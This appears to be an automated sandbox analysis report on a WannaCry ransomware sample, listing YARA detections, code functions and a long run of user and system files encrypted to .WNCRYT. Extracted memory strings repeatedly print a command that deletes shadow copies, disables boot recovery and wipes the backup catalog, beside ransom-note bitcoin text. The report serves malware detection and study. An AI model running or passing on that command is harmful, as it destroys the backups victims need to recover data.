              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: CreateFileW,CreateFileW,GetFileSizeEx,GetFileTime,ReadFile,ReadFile,ReadFile,ReadFile,_local_unwind2,SetFilePointer,SetFilePointer,swprintf,CreateFileW,CreateFileW,ReadFile,SetFilePointer,WriteFile,SetFilePointer,WriteFile,SetFilePointer,rand,WriteFile,WriteFile,WriteFile,WriteFile,WriteFile,SetFilePointer,ReadFile,WriteFile,SetFilePointer,ReadFile,WriteFile,_local_unwind2,SetFileTime,FindCloseChangeNotification,CloseHandle,MoveFileW,SetFileAttributesW,DeleteFileW,CloseHandle,MoveFileW,_local_unwind2, WANACRY!0_2_10001960
              Yara detected Wannacry ransomware
              Source: Yara matchFile source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, type: SAMPLE
              Source: Yara matchFile source: 0.2.ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.0.ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000000.00000003.2291348728.0000000000963000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000003.1316026746.000000000090E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000003.1798063418.0000000000960000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000003.1797315090.0000000000960000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe PID: 4548, type: MEMORYSTR
              Source: Yara matchFile source: C:\@WanaDecryptor@.exe, type: DROPPED
              Source: Yara matchFile source: C:\Users\user\Desktop\u.wnry, type: DROPPED
              Contains functionalty to change the wallpaper
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_10004F20 swprintf,swprintf,MultiByteToWideChar,CopyFileW,CopyFileW,GetUserNameW,_wcsicmp,SystemParametersInfoW,swprintf,CopyFileW,0_2_10004F20
              Deletes shadow drive data (may be related to ransomware)
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.2291348728.0000000000963000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.2291348728.0000000000963000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietvscofi13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94Englishm_%s.wnrymsg\<https://<http://%d/%d/%d %02d:%02d:%02d00;00;00;00http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how+to+buy+bitcoinhttps://en.wikipedia.org/wiki/BitcoinSend %.1f BTC to this address:%.1f BTCSend $%d worth of bitcoin to this address:$%d%02d;%02d;%02d;%02d***b.wnry+++---%s%s%d%I64d%dFailed to send your message!
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.1316026746.000000000090E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.1316026746.000000000090E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietvscofi13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94Englishm_%s.wnrymsg\<https://<http://%d/%d/%d %02d:%02d:%02d00;00;00;00http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how+to+buy+bitcoinhttps://en.wikipedia.org/wiki/BitcoinSend %.1f BTC to this address:%.1f BTCSend $%d worth of bitcoin to this address:$%d%02d;%02d;%02d;%02d***b.wnry+++---%s%s%d%I64d%dFailed to send your message!
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.1798063418.0000000000960000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.1798063418.0000000000960000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietvscofi13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94Englishm_%s.wnrymsg\<https://<http://%d/%d/%d %02d:%02d:%02d00;00;00;00http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how+to+buy+bitcoinhttps://en.wikipedia.org/wiki/BitcoinSend %.1f BTC to this address:%.1f BTCSend $%d worth of bitcoin to this address:$%d%02d;%02d;%02d;%02d***b.wnry+++---%s%s%d%I64d%dFailed to send your message!
              Modifies existing user documents (likely ransomware behavior)
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile moved: C:\Users\user\Desktop\UNKRLCVOHV\AQRFEVRTGL.pdfJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile deleted: C:\Users\user\Desktop\UNKRLCVOHV\AQRFEVRTGL.pdfJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile moved: C:\Users\user\Desktop\BWDRWEEARI.pngJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile deleted: C:\Users\user\Desktop\BWDRWEEARI.pngJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile moved: C:\Users\user\Desktop\LIJDSFKJZG.xlsxJump to behavior
              Writes many files with high entropy
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db.WNCRYT entropy: 7.99279688819Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeEDrop\EdgeEDropSQLite.db.WNCRYT entropy: 7.99323820554Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_driver.js.WNCRYT entropy: 7.99989969069Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\product_page.js.WNCRYT entropy: 7.99979395184Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shopping.js.WNCRYT entropy: 7.99996527153Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shoppingfre.js.WNCRYT entropy: 7.99950791599Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\common\analytics.js.WNCRYT entropy: 7.99276245496Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\libs\jquery-3.1.1.js.WNCRYT entropy: 7.99926013262Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\libs\jquery-3.1.1.min.js.WNCRYT entropy: 7.99763908214Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt.WNCRYT entropy: 7.99972384818Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\KAT9HXAG\hero-image-desktop-f6720a4145[1].jpg.WNCRYT entropy: 7.99862900775Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409637954002018.txt.WNCRYT entropy: 7.99824256097Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appsglobals.txt.WNCRYT entropy: 7.99951534129Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appssynonyms.txt.WNCRYT entropy: 7.99924368148Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{3502d36d-7211-4995-af80-eced47ce4a6c}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.9950145719Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{ed67b689-2200-491a-9730-3e54067afbf3}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99435419674Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appsconversions.txt.WNCRYT entropy: 7.99987634502Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt.WNCRYT entropy: 7.99369980005Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingsconversions.txt.WNCRYT entropy: 7.99966098033Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingsglobals.txt.WNCRYT entropy: 7.99582690762Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\EADPData Component\4.0.2.33\data.txt.WNCRYT entropy: 7.99792560574Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingssynonyms.txt.WNCRYT entropy: 7.99816776617Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{76cc83ea-ae96-47fc-9329-459e5ad2d67b}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99916534176Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{97b27011-f8cc-4ac9-9531-d6ee8ce92324}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99932849162Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\jones\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg.WNCRYT entropy: 7.99757358725Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt.WNCRYT entropy: 7.99973204144Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133664308473525907.txt.WNCRYT entropy: 7.99819018439Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\ProgramData\Microsoft\Diagnosis\EventStore.db.WNCRYT entropy: 7.99809195878Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\X98HJ34F\hero-image-desktop-f6720a4145[1].jpg.WNCRYT entropy: 7.99863285725Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db.WNCRYT entropy: 7.99986271254Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409652260521575.txt.WNCRYT entropy: 7.99831718978Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\ProgramData\Microsoft\User Account Pictures\guest.bmp.WNCRYT entropy: 7.99970856721Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409652279466572.txt.WNCRYT entropy: 7.99806948856Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409652308544336.txt.WNCRYT entropy: 7.99820232984Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409652528024801.txt.WNCRYT entropy: 7.99833031846Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\ProgramData\Microsoft\User Account Pictures\user.bmp.WNCRYT entropy: 7.99975081271Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409652546374009.txt.WNCRYT entropy: 7.99835443015Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409652624730194.txt.WNCRYT entropy: 7.99810896784Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409652666852676.txt.WNCRYT entropy: 7.99819340017Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\ProgramData\Microsoft\Windows Defender\Scans\mpenginedb.db.WNCRYT entropy: 7.99968721179Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409652950926221.txt.WNCRYT entropy: 7.998096778Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\ProgramData\Microsoft\Diagnosis\ScenariosSqlStore\EventStore.db.WNCRYT entropy: 7.99424707138Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409653224421742.txt.WNCRYT entropy: 7.99835021248Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\ProgramData\Microsoft\Diagnosis\TenantStorage\P-ARIA\EventStore.db.WNCRYT entropy: 7.99421158657Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409653524527350.txt.WNCRYT entropy: 7.9983155161Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\ProgramData\Microsoft\Search\Data\Applications\Windows\tmp.edb.WNCRYT entropy: 7.998892722Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409655232786058.txt.WNCRYT entropy: 7.99849639145Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb.WNCRYT entropy: 7.9999890829Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409656564963692.txt.WNCRYT entropy: 7.9986942799Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db.WNCRYT entropy: 7.99905146538Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409657271224821.txt.WNCRYT entropy: 7.99838222604Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\ProgramData\Microsoft\Windows NT\MSFax\VirtualInbox\en-GB\WelcomeFax.tif.WNCRYT entropy: 7.99797779092Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409658240427405.txt.WNCRYT entropy: 7.99864950414Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png.WNCRYT entropy: 7.99619417161Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409658433494739.txt.WNCRYT entropy: 7.99867381221Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png.WNCRYT entropy: 7.99322978499Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409658477995265.txt.WNCRYT entropy: 7.99837000707Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\A3CECAC7-AFEC-4136-AD26-4F02273A588C\operations.db.WNCRYT entropy: 7.99998108014Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409658976474171.txt.WNCRYT entropy: 7.99844015597Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png.WNCRYT entropy: 7.9984283317Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409659009848568.txt.WNCRYT entropy: 7.99849179612Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png.WNCRYT entropy: 7.99524556573Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409659276420550.txt.WNCRYT entropy: 7.99842334814Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png.WNCRYT entropy: 7.99858722131Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409659576386340.txt.WNCRYT entropy: 7.99821974649Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png.WNCRYT entropy: 7.99474776341Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409659909628426.txt.WNCRYT entropy: 7.99840959886Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133664250150656855.txt.WNCRYT entropy: 7.99829218332Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133664250451283842.txt.WNCRYT entropy: 7.99836071172Jump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{65911048-9234-4059-8bb1-0549c23de5a1}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99487953514Jump to dropped file
